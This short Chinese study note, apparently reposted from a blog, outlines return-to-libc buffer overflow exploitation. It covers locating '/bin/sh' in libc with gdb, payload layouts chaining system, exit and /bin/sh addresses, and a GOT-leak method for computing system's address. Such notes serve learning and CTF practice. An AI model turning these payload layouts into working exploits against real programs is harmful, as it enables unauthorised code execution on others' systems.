标签:
1.从libc中找到"/bin/sh"的地址
(gdb)find __libc_start_main,length,"/bin/sh"
2.安排缓冲区
‘a‘*length+addressOfSystem+addressOfExit+addressOfBinSh
3.PLT & GOT
延迟绑定:PLT第一次调用确定GOT地址,第二次直接使用。
利用libc中函数相对位置不变的特性。
分析libc.so可以得到pltofwrite,pltofsystem
缓冲区1:‘a‘*length+PLT_Write+myFunc+1+GOT_Write+4
gotofsystem=gotofwrite+(pltofsystem-pltofwrite)
bin_addr = write_addr - (libc.symbols[‘write‘] - next(libc.search(‘/bin/sh‘)))
缓冲区2:‘a‘*length+gotofsystem+addressofexit+bin_addr
标签:
原文地址:http://www.cnblogs.com/xiaofool/p/5043927.html